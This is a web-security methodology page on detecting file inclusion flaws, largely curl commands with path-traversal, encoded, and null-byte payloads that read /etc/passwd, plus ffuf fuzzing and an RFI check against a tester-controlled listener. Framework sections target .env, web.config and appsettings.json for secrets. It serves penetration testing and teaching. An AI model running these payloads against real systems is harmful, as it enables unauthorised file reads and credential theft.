# File inclusion

> Discover Local and Remote File Inclusion vulnerabilities in web apps by testing path traversal, null bytes, and URL-based payloads via HTTP parameters.

- **URL:** https://hackindex.io/services/web/vulnerability-discovery/file-inclusion
- **Path:** HTTP/HTTPS > Vulnerability Discovery
- **Up:** [Vulnerability Discovery](https://hackindex.io/services/web/vulnerability-discovery.md)
- **Published:** 2026-01-26
- **Updated:** 2026-04-24

File inclusion vulnerabilities occur when user-controlled input is passed to a file-loading function without sufficient validation. Local File Inclusion reads files from the server filesystem. Remote File Inclusion loads and executes code from a remote URL. Both lead to full code execution with the right conditions. Detection here stops at confirmation: exploitation is covered in the [file inclusion exploitation section](https://hackindex.io/services/web/exploitation/file-inclusion).

- **LFI path traversal** reads files outside the webroot using `../` sequences at varying depths.
- **Encoding bypasses** use URL-encoded and double-encoded traversal when basic sequences are stripped.
- **Extension appending bypass** uses null bytes or path tricks against applications that append .php.
- **RFI detection** points the parameter at a controlled URL and watches for an incoming connection.
- **Automated fuzzing** with ffuf and LFI wordlists tests all traversal variants against a confirmed parameter.

Look for parameters named `page`, `file`, `path`, `include`, `template`, `view`, `doc`, or `lang` during [parameter crawling](https://hackindex.io/services/web/enumeration/parameter-crawling): these are the most common carriers.

## Identify File Loading Parameters

Check the application's URL structure and form inputs for parameters that accept filenames or paths:

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?page=home" | wc -c
# 4823
```

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?page=about" | wc -c
# 3102
```

Different response sizes for different parameter values strongly suggest the parameter is loading different files. That's your LFI test target.

## LFI Detection: Path Traversal

Test path traversal sequences to read files outside the intended directory. Start with a known target file:

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?page=../../../etc/passwd" | grep -i 'root'
# root:x:0:0:root:/root:/bin/bash
```

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?page=....//....//....//etc/passwd" | grep -i 'root'
```

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?page=/etc/passwd" | grep -i 'root'
```

Content from `/etc/passwd` in the response confirms LFI. If nothing shows on the basic traversal, the application may be stripping `../` sequences. Try URL-encoded and double-encoded variants:

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?page=..%2F..%2F..%2Fetc%2Fpasswd" | grep -i 'root'
```

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?page=..%252F..%252F..%252Fetc%252Fpasswd" | grep -i 'root'
```

## LFI with Extension Appending

Some applications append `.php` or another extension to the parameter value. Use a PHP null byte or path tricks to bypass on older PHP versions:

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?page=../../../etc/passwd%00" | grep -i 'root'
```

Null byte truncation works on PHP 5.3 and earlier. On newer PHP, use path length attacks or look for wrapper-based bypasses instead.

## RFI Detection

Remote File Inclusion requires `allow_url_include = On` in PHP config, which is off by default in modern installs. Test by pointing the parameter at an external URL you control:

```bash
nc -lvnp $LPORT
```

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?page=http://$LHOST:$LPORT/test"
```

An incoming HTTP request on your listener confirms RFI: the server fetched a remote URL based on your input. This is also a confirmed SSRF path through the file inclusion vector.

## Automated Fuzzing

Use ffuf with a dedicated LFI wordlist to test multiple traversal variants across a parameter quickly:

```bash
ffuf -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -u "http://$TARGET_IP:$PORT/index.php?page=FUZZ" -mc 200 -fs 1234
```

Set `-fs` to the normal response size so only responses with different content (indicating a successful file read) are shown. Confirmed LFI moves to [local file inclusion exploitation](https://hackindex.io/services/web/exploitation/file-inclusion/local-file-inclusion-exploitation) for sensitive file extraction and path to RCE.

## Non-PHP File Inclusion

File inclusion is not limited to PHP. Any framework that serves files or includes templates based on user input is a potential target. The traversal payloads are the same, but the vulnerable function and target files differ by language.

### Java / Spring

Spring controllers that use path variables to serve files are vulnerable when the input is not sanitized. The `@PathVariable` annotation passes the raw URL segment to the handler. Spring normalizes `../` in the URL path before routing, but if the application reads the path from a query parameter or request body instead, traversal works. Also check `ResourceHttpRequestHandler` configurations serving static resources from user-controlled paths.

```bash
curl -sk "http://$TARGET_IP:$PORT/download?file=../../../etc/passwd" | grep -i 'root'
# root:x:0:0:root:/root:/bin/bash
```

```bash
curl -sk --path-as-is "http://$TARGET_IP:$PORT/static/..%2F..%2F..%2Fetc%2Fpasswd" | grep -i 'root'
```

Use `--path-as-is` with curl to prevent it from normalizing the `../` sequences before sending. Without it, curl resolves the path client-side and the traversal never reaches the server.

### Node.js / Express

Express applications using `res.sendFile()` or `res.download()` with user-controlled paths are vulnerable if the `root` option is not set. Without a root, the path is resolved relative to the process working directory. The `path.join()` function does not prevent traversal, it resolves `../` sequences as valid path components. Target `/etc/passwd` on Linux or `package.json` to confirm the application root.

```bash
curl -sk "http://$TARGET_IP:$PORT/files?name=../../../etc/passwd" | grep -i 'root'
# root:x:0:0:root:/root:/bin/bash
```

```bash
curl -sk "http://$TARGET_IP:$PORT/files?name=../package.json" | python3 -m json.tool
```

Reading `package.json` reveals dependencies and version info. Look for known vulnerable packages. Read `.env` one directory up for database credentials and API keys.

### Python / Flask

Flask applications using `send_file()` or `send_from_directory()` with unsanitized user input allow traversal. `send_from_directory()` is safer because it restricts to a base directory, but only if the developer does not concatenate the path manually before calling it. Werkzeug (Flask's WSGI layer) blocks traversal in the URL path by default, so the vulnerable parameter is usually in the query string or POST body.

```bash
curl -sk "http://$TARGET_IP:$PORT/download?filename=../../../etc/passwd" | grep -i 'root'
# root:x:0:0:root:/root:/bin/bash
```

### .NET

.NET applications serving files through `File()`, `PhysicalFile()`, or custom handlers are vulnerable when the path comes from user input. IIS normalizes path traversal in URLs by default, so the traversal typically needs to be in a query parameter or POST body. Target `web.config` for connection strings and `appsettings.json` for application secrets.

```bash
curl -sk "http://$TARGET_IP:$PORT/api/file?path=..\..\web.config"
```

```bash
curl -sk "http://$TARGET_IP:$PORT/api/file?path=..%5C..%5Cappsettings.json" | python3 -m json.tool
```

Windows paths use backslashes, so test both `../` and `..\` (URL-encoded as `..%5C`). Some .NET middleware normalizes forward slashes to backslashes, making both forms work. The `web.config` file often contains database connection strings, SMTP credentials, and custom application keys in the `appSettings` or `connectionStrings` sections.

## References

- [SecLists: LFI Wordlists](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI) - LFI traversal payload lists including Jhaddix and common variants
- [PayloadsAllTheThings: File Inclusion](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion) - LFI and RFI payload collection including wrapper-based bypasses

## Steps

- [HTTP File Inclusion Fuzzing](https://hackindex.io/services/web/vulnerability-discovery/file-inclusion/file-inclusion-fuzzing.md): Fuzz HTTP endpoints for local and remote file inclusion vulnerabilities using path traversal sequences, null bytes, and protocol wrappers to expose insecure file handling.
- [File Upload Validation Testing](https://hackindex.io/services/web/vulnerability-discovery/file-inclusion/file-upload-testing.md): Tests server-side file upload controls for bypass vulnerabilities including MIME spoofing, extension manipulation, and malicious payload delivery via multipart requests.
